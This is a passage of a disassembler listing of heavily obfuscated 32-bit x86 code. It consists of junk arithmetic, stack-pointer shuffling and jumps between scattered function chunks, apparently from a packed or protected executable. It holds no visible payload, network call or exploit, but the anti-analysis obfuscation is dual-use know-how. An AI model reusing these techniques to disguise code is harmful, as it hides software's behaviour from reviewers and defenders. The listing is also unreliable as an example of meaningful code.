--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5BB9: ; CODE XREF: sub_5AA2D1+459Ej add edx, 4 xchg edx, [esp-0Eh+arg_8+2] mov esp, [esp-0Eh+arg_8+2] add eax, ebp pop ebp push 40C1h mov [esp-0Eh+arg_8+2], ebp mov ebp, 430738D5h push ecx mov ecx, 112F00ADh and ecx, 6053459Bh sub ecx, 4A3C5EC7h and ecx, 631C1BC1h sub ecx, 0C69CFA8Dh add ebp, ecx jmp loc_59B365 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5A5BF7: ; CODE XREF: sub_5AD795-1425Dj push eax mov eax, 3C5A4B20h jmp loc_59E01B ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A5C02: ; CODE XREF: sub_59D6B8+11B5Fj push edi push 7113156Ch pop edi sub ebx, edi mov edi, [esp-8+arg_4] add esp, 4 add ebx, 7A4C5DBBh push ecx mov ecx, 4CAE2A18h add ebx, ecx jmp loc_5A6937 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A5C24: ; CODE XREF: sub_59A26C+DDC6j mov [esp-8+arg_4], ecx jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5C2C: ; CODE XREF: sub_5AA2D1-5FC5j mov esp, [esp-4+arg_0] div cx push 25A2h mov [esp+0], ebp push 2994h jmp loc_59C30D ; --------------------------------------------------------------------------- loc_5A5C44: ; CODE XREF: sub_5AA2D1-1053Aj push ecx mov ecx, 13E63406h dec ecx xor ecx, 2310848h add ecx, 3C2C7AF9h add ecx, 63021BC8h add ecx, 500584C5h mov ebx, ecx jmp loc_5A01F6 ; --------------------------------------------------------------------------- loc_5A5C6A: ; CODE XREF: sub_5AA2D1-EAACj jmp loc_5AEC41 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5A5C6F: ; CODE XREF: sub_599A61+13A93j mov [esp+4+var_4], esi not [esp+4+var_4] mov esi, [esp+4+var_4] add esp, 4 shl esi, 4 inc esi jmp loc_5A3686 ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8E3E loc_5A5C87: ; CODE XREF: sub_5A8E3E+12j add esp, 4 shr edi, 1 jmp loc_5A2915 ; END OF FUNCTION CHUNK FOR sub_5A8E3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5C94: ; CODE XREF: sub_5AA2D1-AAEEj mov [esp+0Ch+var_C], edi mov edi, 5FDE6559h add [esp+0Ch+var_8], 10F64236h add [esp+0Ch+var_8], edi jmp loc_5A5146 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A5CAD: ; CODE XREF: sub_59D6B8+6941j add ecx, 4 add ecx, 4 xchg ecx, [esp+0Ch+var_C] pop esp jmp loc_5A67EE ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5CBF: ; CODE XREF: sub_5AA2D1-D5D5j ; sub_5AF18F-8E5Ej sub edi, 4 sub esp, 4 jmp loc_5AC8E7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5735 loc_5A5CD0: ; CODE XREF: sub_5A5735-3E93j push [esp+0Ch+var_C] pop esi add esp, 4 pop [esp+8+var_8] pop esp mov [esp+0], eax mov eax, esp push edx push 4 pop edx add eax, edx mov edx, [esp+4+var_4] add esp, 4 jmp loc_59C246 ; END OF FUNCTION CHUNK FOR sub_5A5735 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5CF7: ; CODE XREF: sub_5AA2D1+39DAj add eax, 12E47A7h push edx mov edx, 38A51C5Fh and eax, edx mov edx, [esp+8+var_8] add esp, 4 shr eax, 1 dec eax jmp loc_59D25A ; --------------------------------------------------------------------------- loc_5A5D15: ; CODE XREF: sub_5AA2D1+A67j dec esi inc esi shl esi, 8 add esi, 0CB1ED122h sub edi, esi pop esi sub edi, 7B8877B7h add edi, ebx add edi, 7B8877B7h sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 569D0E22h add edi, ecx pop ecx add edi, 679D16B5h jmp loc_5AED35 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5A5D4A: ; CODE XREF: sub_5A16B8+2E16j pop ecx xchg ebx, [esp+10h+var_10] mov esp, [esp+10h+var_10] push ecx push dword ptr [esp+4] pop ecx pop [esp+4+var_4] pop esp add esp, 4 push ecx sub esp, 4 mov [esp+0], esp jmp loc_59FBD4 ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5A5D6D: ; CODE XREF: sub_5AD993-1108j mov bh, 34h sub bh, 44h inc bh jle loc_59980D add bh, 0EDh mov ah, bh pop ebx xor ah, cl pop ecx mov bh, bh mov ecx, ebx ; END OF FUNCTION CHUNK FOR sub_5AD993 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5D87: ; CODE XREF: sub_5AA2D1+516Ej mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+0] pop esp jmp loc_59C7A6 ; --------------------------------------------------------------------------- loc_5A5D9E: ; CODE XREF: sub_5AA2D1-D786j and ebp, 3DE34C43h shl ebp, 8 and ebp, 48A31E6Dh push ecx mov ecx, 27746F2Dh add ecx, 59CA47D4h shr ecx, 7 neg ecx jmp loc_5AC369 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A5DC3: ; CODE XREF: sub_59D6B8-3DD3j ; sdfs____:0059E8A8j push ecx mov ecx, 53082E36h shl ecx, 2 jmp loc_5AA82F ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5DD1: ; CODE XREF: sub_5AA2D1+2E1Bj jz loc_5A678B sub dl, 0CDh add dl, 56h push dx mov dl, 1Fh sub al, dl jmp loc_5AE46C ; --------------------------------------------------------------------------- loc_5A5DE8: ; CODE XREF: sub_5AA2D1-267Cj mov dx, word ptr [esp+6+var_8+2] push 5E4Ah mov [esp+0Ah+var_C+2], edx push esp pop edx push 357Ch mov [esp+0Eh+var_10+2], ecx mov ecx, 5676EA5h sub ecx, 6E9D6838h jmp loc_59ECCB ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A5E0E: ; CODE XREF: sub_5B01F7-B20Aj and ebp, edx jmp loc_5AF37F ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5E15: ; CODE XREF: sub_5AA2D1:loc_59D4B9j jmp loc_59CC3B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5998AD loc_5A5E1A: ; CODE XREF: sub_5998AD+111j push 1487h mov [esp+10h+var_10], eax jmp loc_5A5533 ; END OF FUNCTION CHUNK FOR sub_5998AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A5E27: ; CODE XREF: sub_59A7E7+39ADj push edx mov edx, 3CF16138h shr edx, 1 or edx, 386D4DD5h jmp loc_5A4901 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DE4B loc_5A5E3A: ; CODE XREF: sub_59DE4B+3C36j sub ebp, edx jmp loc_59E7A0 ; END OF FUNCTION CHUNK FOR sub_59DE4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AEC1C loc_5A5E41: ; CODE XREF: sub_5AEC1C+13j mov bh, 0B6h mov ah, bh pop ebx and ah, 0D2h shr ah, 2 xor ah, 9 shr ah, 3 inc ah add ah, 87h mov dh, ah pop eax inc dh jmp loc_5A9661 ; END OF FUNCTION CHUNK FOR sub_5AEC1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A355D loc_5A5E61: ; CODE XREF: sub_5A355D+C852j add ebx, 4 jmp loc_5AE23C ; END OF FUNCTION CHUNK FOR sub_5A355D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A5E6C: ; CODE XREF: sub_59CBE1+13C0j push 4F94h jmp loc_5A772A ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5E76: ; CODE XREF: sub_5AA2D1-21F4j mov edx, 2427719Bh sub edx, 1A233D75h push edx not [esp+0Ah+var_C+2] pop edx shl edx, 5 add edx, 1 sub edx, 5291A36h add ebp, edx jmp loc_5ACA71 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_5A5E9C: ; CODE XREF: sub_59FE51-5E3Fj ; sub_59A4E8+DB8j pop ebx jmp loc_5A46F9 ; END OF FUNCTION CHUNK FOR sub_59FE51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A5EA2: ; CODE XREF: sub_5992DA:loc_5AC461j xor ch, 0B2h jnp loc_5AFF33 add ch, 66h jmp loc_59EC18 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- mov ebx, [esp] ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5A5EB6: ; CODE XREF: sub_5A18F6+8037j neg edx jnz loc_5A3EDA and edx, 215A5A8Eh jmp loc_5A6AD8 ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5A5EC9: ; CODE XREF: sub_5A913B-6574j xor ecx, edi pop edi add edi, ecx pop ecx xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] pop esp jmp loc_5AB082 ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A5EDE: ; CODE XREF: sub_5A2E28-1B1Ej add esi, 4606C15Bh mov ebx, esi pop esi add ebx, eax mov ecx, [ebx] pop ebx pop eax push edi push edi jmp loc_5A139A ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAB66 loc_5A5EF4: ; CODE XREF: sub_5AAB66-E6BBj add esi, 4 jmp loc_5AE70E ; END OF FUNCTION CHUNK FOR sub_5AAB66 ; =============== S U B R O U T I N E ======================================= sub_5A5EFF proc near ; CODE XREF: sub_5AE40A-7EA1j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059A0BE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059A183 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059AA1B SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0059AEEE SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0059B565 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0059B712 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059BCFA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059C607 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0059CC7F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059D716 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0059DC67 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059E56D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059E586 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059E61C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059E63A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E6A4 SIZE 00000063 BYTES ; FUNCTION CHUNK AT 0059E9DF SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059F78B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059F87A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059FD2D SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005A1277 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A22D3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A249B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A25C7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A4505 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005A50E5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A5340 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A60D7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A688E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A6BD3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A7A13 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A89D9 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A8D9A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A9D92 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005AA20B SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005AA5B7 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005AB0CA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AC3DB SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005AC5B2 SIZE 0000004A BYTES ; FUNCTION CHUNK AT 005ADACB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AEB6A SIZE 0000004F BYTES ; FUNCTION CHUNK AT 005AF2C1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AF661 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AFA7E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005B0342 SIZE 00000019 BYTES sub esp, 4 mov [esp+8+var_8], esp add [esp+8+var_8], 4 mov ecx, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], edx mov edx, 598F1DC2h sub esp, 4 jmp loc_5A249B sub_5A5EFF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A5F2B: ; CODE XREF: sub_59C979+54C0j add ebp, 4 add ebp, 4 xchg ebp, dword ptr [esp+2+var_2] mov esp, dword ptr [esp+2+var_2] push ebx push dword ptr [esp+6+var_2] jmp loc_5AA602 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- loc_5A5F47: ; CODE XREF: sdfs____:0059A6D9j neg eax push ebx mov ebx, 2FC353FFh and ebx, 0AB607C2h xor ebx, 0EA63F420h xor eax, ebx mov ebx, [esp] jmp loc_5A1187 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5F65: ; CODE XREF: sub_5AA2D1:loc_5A82CEj shr ecx, 2 not ecx sub ecx, 0C638BB3Ch jmp loc_5ABF4E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB762 loc_5A5F75: ; CODE XREF: sub_5AB762+Bj add [esp+8+var_8], 4 mov esi, [esp+8+var_8] jmp loc_5ACD1B ; END OF FUNCTION CHUNK FOR sub_5AB762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A5F84: ; CODE XREF: sub_5992DA+D4FAj pop edi push edi push esp pop edi add edi, 4 push ebx jmp loc_5A9CCF ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5A5F94: ; CODE XREF: sub_5A77D5-4510j pop eax and edx, 5F2A1CD3h xor edx, 5577237Eh jmp loc_5AD956 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A491A loc_5A5FA6: ; CODE XREF: sub_5A491A+3j mov [esp+4+var_4], ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 jmp loc_5A7E44 ; END OF FUNCTION CHUNK FOR sub_5A491A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A5FBC: ; CODE XREF: sub_5A2E41+5037j and ebx, 5A1F59BBh jnz loc_5A5141 jmp loc_5B0124 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- push esi mov esi, 10F64236h mov edx, ebp ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A5FD5: ; CODE XREF: sub_5A6BBC-B0CAj pop esi add eax, 2 push eax jmp loc_5AE17D ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAB66 loc_5A5FDF: ; CODE XREF: sub_5AAB66-8D8Dj xor ebp, [esp+4+var_4] pop esp mov [esp+0], esp add dword ptr [esp+0], 4 mov edx, [esp+0] add esp, 4 push 17h mov [esp+0], esi mov esi, 4 jmp loc_5AA1F8 ; END OF FUNCTION CHUNK FOR sub_5AAB66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_5A6005: ; CODE XREF: sub_5AD6D4-B289j sub ecx, eax pop eax jmp loc_5AD8A9 ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; =============== S U B R O U T I N E ======================================= sub_5A600D proc near ; DATA XREF: sdfs____:00598F20o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599303 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00599B82 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059A20B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059C851 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059CE93 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059E470 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059E7DA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059F61B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A12A8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A37C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A4775 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A4DC5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A8F18 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A9AD3 SIZE 00000010 BYTES lodsb sub al, 0DEh jmp loc_59F61B sub_5A600D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6015: ; CODE XREF: sub_5AA2D1-2866j and ebp, edi pop edi dec ebp not ebp push edi jmp loc_5ACEB1 ; --------------------------------------------------------------------------- loc_5A6021: ; CODE XREF: sub_5AA2D1-DB4Fj jmp loc_5AFA68 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_5A6026: ; CODE XREF: sub_59ED98+3154j sub al, 0B2h jmp loc_5AB648 ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A54C9 loc_5A602D: ; CODE XREF: sub_5A54C9-9D85j push 0 sub [esp+8+var_8], ebp mov ebp, [esp+8+var_8] add esp, 4 shr ebp, 3 add ebp, 4A74130Ch push ecx mov ecx, 40D85106h and ecx, 6B9409AAh sub ecx, 6B990170h jmp loc_5A1149 ; END OF FUNCTION CHUNK FOR sub_5A54C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A605B: ; CODE XREF: sub_5AA2D1-9591j push edi mov edi, 26866209h xor edx, edi pop edi inc edx jmp loc_5AB340 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5A606A: ; CODE XREF: sub_5A913B-A095j push edx mov edx, 52417511h dec edx jge loc_5A2416 shl edx, 4 jp loc_59BD1A shl edx, 5 and al, 0D8h ; END OF FUNCTION CHUNK FOR sub_5A913B ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A6085: ; CODE XREF: sub_5A2E28-55C7j ; sub_5A477C+32E5j dec ecx jmp loc_59BBB0 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5A608B: ; CODE XREF: sub_599D0E+3j mov [esp+0], ebx mov ebx, 4 add eax, 7C3A5B80h jmp loc_59EABA ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5A609D: ; CODE XREF: sub_59A9E9:loc_5B03C6j inc ecx jnz loc_5A97C1 push esi mov esi, 976C5B2Ah add ecx, esi pop esi mov ebx, ecx mov cl, bl ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; START OF FUNCTION CHUNK FOR sub_5A12F5 loc_5A60B1: ; CODE XREF: sub_5A12F5+11A1j add esp, 4 sub esp, 4 jmp loc_5AFA76 ; END OF FUNCTION CHUNK FOR sub_5A12F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A809B loc_5A60BC: ; CODE XREF: sub_5A809B+7103j mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_5A68D7 ; END OF FUNCTION CHUNK FOR sub_5A809B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59993B loc_5A60CC: ; CODE XREF: sub_59993B+BCECj and ecx, 374C4B39h jmp loc_59DE0D ; END OF FUNCTION CHUNK FOR sub_59993B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A60D7: ; CODE XREF: sub_5A5EFF-A97Cj pop edi sub edx, eax pop eax push edx jmp loc_5AC370 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5A60E1: ; CODE XREF: sub_5AF2D9-14240j mov eax, 9F8DB1F3h xor ecx, eax pop eax sub ebp, ecx pop ecx add ebp, ebx jmp loc_5AFB27 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; =============== S U B R O U T I N E ======================================= sub_5A60F3 proc near ; DATA XREF: sdfs____:00598FFCo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A2E2E SIZE 00000013 BYTES mov ax, [esp+0] push 113Fh mov [esp+4+var_4], edi push edx jmp loc_5A2E2E sub_5A60F3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A6105: ; CODE XREF: sub_5A7BA0-115Fj push 5BD9h mov [esp+0], ecx push 0DEE51FBh mov ecx, [esp+4+var_4] add esp, 4 add ecx, 61F25AEAh jmp loc_59E03D ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E333 loc_5A6126: ; CODE XREF: sub_59E333+BE53j push ecx mov ecx, ebp mov esi, ecx jmp loc_5A354A ; END OF FUNCTION CHUNK FOR sub_59E333 ; --------------------------------------------------------------------------- loc_5A6130: ; CODE XREF: sdfs____:005AA731j mov ah, bh pop ebx pop cx jmp loc_5AAC17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BA35 loc_5A613A: ; CODE XREF: sub_59BA35+10886j mov [esp+8+var_8], eax xor [esp+8+var_8], 0D1228D6h mov ebp, [esp+8+var_8] add esp, 4 xor ebp, 0D1228D6h pop eax jmp sub_5A8215 ; END OF FUNCTION CHUNK FOR sub_59BA35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1C3 loc_5A6156: ; CODE XREF: sub_59F1C3+2Bj mov [esp+0], ebx push eax jmp loc_5A742A ; END OF FUNCTION CHUNK FOR sub_59F1C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A615F: ; CODE XREF: sub_5AA2D1-2EEj pop eax add esp, 4 xor esi, [esp-4+arg_0] xor [esp-4+arg_0], esi xor esi, [esp-4+arg_0] jmp loc_5AC174 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5A6174: ; CODE XREF: sub_59F02F+FB25j add esi, 4 jmp loc_5A9711 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A617C: ; CODE XREF: sub_5992DA+D872j ja loc_5AE7C3 sub eax, 0CB287027h mov esi, eax pop eax add eax, esi pop esi jmp loc_59D343 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A6192: ; CODE XREF: sub_59CBE1+112ACj sub esi, 0FFFFFFFFh jmp loc_5A2F9A ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A619A: ; CODE XREF: sub_59A26C+152C2j pop esp jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A61A0: ; CODE XREF: sub_59A7E7-C86j mov bh, 54h push edx mov dl, 2 sub dl, 76h shl dl, 1 jmp loc_5AEE6D ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A61AF: ; CODE XREF: sub_5B01F7-2399j xchg ecx, [esp+1Ch+var_1C] jmp loc_5A49F2 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A61B7: ; CODE XREF: sub_5A2E28-9CD6j add esi, 24497642h js loc_5A893C shr esi, 6 jnp loc_599B66 sub esi, 470B5CBCh mov ah, 0ECh push ecx ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A61D6: ; CODE XREF: sub_5A6BBC-81A5j add bl, dl pop dx sub bl, cl sub bl, 23h pop ecx push 7372h mov [esp+4+var_4], eax push 3FCh mov eax, [esp+8+var_8] add esp, 4 jmp loc_59C02B ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7746 loc_5A61FB: ; CODE XREF: sub_5A7746-574Aj push 78D8h mov [esp-4+arg_0], ebx push ecx mov ecx, 661F06B3h jmp loc_5A9EEA ; END OF FUNCTION CHUNK FOR sub_5A7746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A620E: ; CODE XREF: sub_5992DA+10B01j pop ebp jmp loc_59990C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABE0D loc_5A6214: ; CODE XREF: sub_5ABE0D+40j jmp loc_59B402 ; END OF FUNCTION CHUNK FOR sub_5ABE0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_5A6219: ; CODE XREF: sub_5A10E3+DB8j push eax jmp loc_59D421 ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A621F: ; CODE XREF: sub_5A522E+1C3Aj ; sub_59A26C+F0F9j add ebx, 278D101Fh sub ebx, esi sub ebx, 278D101Fh pop esi mov esi, ebx jmp loc_5A38CC ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6235: ; CODE XREF: sub_5AA2D1-5FFBj mov ebx, 73F6144Ch jmp loc_59DF7D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A623F: ; CODE XREF: sub_5A0AA2+9D02j mov esi, 0F27119C7h add edi, esi jmp loc_5A3BD3 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A624B: ; CODE XREF: sub_59D6B8+968Aj push [esp+8+var_8] push 